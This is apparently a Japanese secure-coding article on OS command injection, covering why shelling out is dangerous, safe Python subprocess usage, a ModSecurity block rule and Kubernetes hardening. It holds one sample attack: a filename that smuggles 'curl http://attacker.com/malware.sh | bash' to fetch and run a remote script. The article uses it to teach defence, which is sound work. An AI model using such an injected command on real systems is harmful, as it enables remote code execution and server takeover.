「OSコマンド実行」は現代の禁じ手だ：なぜあなたのコードはハッカーの踏み台にされるのか
現場でコードレビューをしていると、未だに「とりあえず exec() や system() を使って外部コマンドを叩けば楽だ」と考えているエンジニアに出くわす。正直に言おう。その実装は、あなたのシステムを外部から自由自在に操るための「裏口」を自ら開けているのと同じだ。
今日は、OWASP Top 10の常連である「インジェクション」の中でも、最も破壊的なOSコマンドインジェクションについて、現場の知見を叩き込む。教科書的な「入力値をチェックしよう」といった生ぬるい話ではなく、なぜ避けるべきか、そしてどう実装すべきかの「実戦論」だ。
—
1. なぜ「シェル経由」が地獄への入り口なのか
攻撃者は、あなたが「単なるファイル名」だと思って受け取った文字列の中に、OSのメタ文字を忍び込ませる。例えば、ユーザーがアップロードした画像の変換に exec("convert " . $filename . " output.jpg") のようなコードを書いたとしよう。
攻撃者はファイル名としてこんな文字列を送りつけてくる。
image.jpg; curl http://attacker.com/malware.sh | bash;
シェルはこのセミコロンを「コマンドの区切り」と解釈する。結果として、画像変換など行われず、サーバーは攻撃者の悪意あるスクリプトをダウンロードし、実行することになる。これがOSコマンドインジェクションのPoC（概念実証）だ。一度シェルに制御が移れば、環境変数の抜き取り、バックドアの設置、ラテラルムーブメント（横展開）への足がかりとして悪用される。
2. 「避ける」のが最大の防御。APIを利用せよ
最も重要な原則は、「OSのシェルを呼び出さない」ことだ。
PHPでファイル操作をするなら、外部コマンドを呼ぶのではなく、標準の file_get_contents() や rename() を使え。Pythonなら os や shutil ライブラリを使う。
OSの機能を使うのがどうしても避けられない場合（例えばどうしてもImageMagickが必要な場合）は、シェルを介さない実行方法を徹底する。
実践：セキュアなコマンド実行サンプル（Python）
subprocess.run() を使い、shell=True を絶対に設定してはならない。引数をリストとして渡すことで、シェルを介さず直接実行バイナリにパラメータを渡せるため、メタ文字による解釈を無効化できる。
import subprocess
def secure_image_convert(filename):
# ホワイトリストによる厳格な検証
# ファイル名が英数字とドットのみで構成されているかチェック
import re
if not re.match(r’^[a-zA-Z0-9]+\.jpg$’, filename):
raise ValueError(“不正なファイル名です”)
# 安全な実装：リスト形式で渡すことでシェル経由の実行を防ぐ
# shell=False (デフォルト) ならOSコマンドインジェクションは不可能
try:
subprocess.run(
[“/usr/bin/convert”, filename, “output.jpg”],
check=True,
capture_output=True,
shell=False
)
except subprocess.CalledProcessError as e:
print(f”変換エラー: {e.stderr}”)
3. 多層防御：WAFと権限管理による「最後の砦」
アプリケーション側の実装が完璧でも、ゼロデイ脆弱性やヒューマンエラーは避けられない。だからこそ、インフラ側で被害を局限化（コンテナ化）する必要がある。
Nginx / WAF での防御
ModSecurityなどのWAFを導入しているなら、&, |, ;, $, >, < などのメタ文字が含まれるリクエストを即座にブロックするルールを適用すべきだ。
WAF (ModSecurity) ルール例: シェルメタ文字を含む入力をブロック
SecRule ARGS "@rx [;&|><`$]" \
"id:10001,phase:2,deny,status:403,msg:'OS Command Injection Attempt'"
IAM/権限の最小化
Webアプリが動くユーザー（例: www-data）には、必要最低限の権限しか与えてはならない。sudo 権限など論外だ。コンテナを使っているなら、Read-only ファイルシステムにするのが今の常識だ。
Kubernetes (SecurityContext) の設定例
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true # 書き込みが必要な場所はemptyDir等でマウント
4. まとめ：エンジニアとして生き残るために
1. 「シェルを呼ぶな」：標準ライブラリで代替できないか、10分間考えろ。
2. 「リストで渡せ」：shell=True を削除するだけで、脆弱性の9割は消滅する。
3. 「入力を疑え」：ホワイトリスト（許可リスト）こそが、ブラックリスト（禁止リスト）よりも遥かに安全で、メンテナンスもしやすい。
セキュリティは「完成」がない。だが、こうした泥臭い実装の積み重ねが、夜中にインシデント対応で叩き起こされる回数を確実に減らしてくれる。君たちが書くコードは、ただ動くだけでは不十分だ。「攻撃者に屈しないコード」であってこそ、初めてエンジニアと呼べるんだ。
もし自分のコードで不安な箇所があれば、すぐに subprocess の引数や exec の中身を見直してほしい。それが今日、君たちがすべき最初の仕事だ。
コメント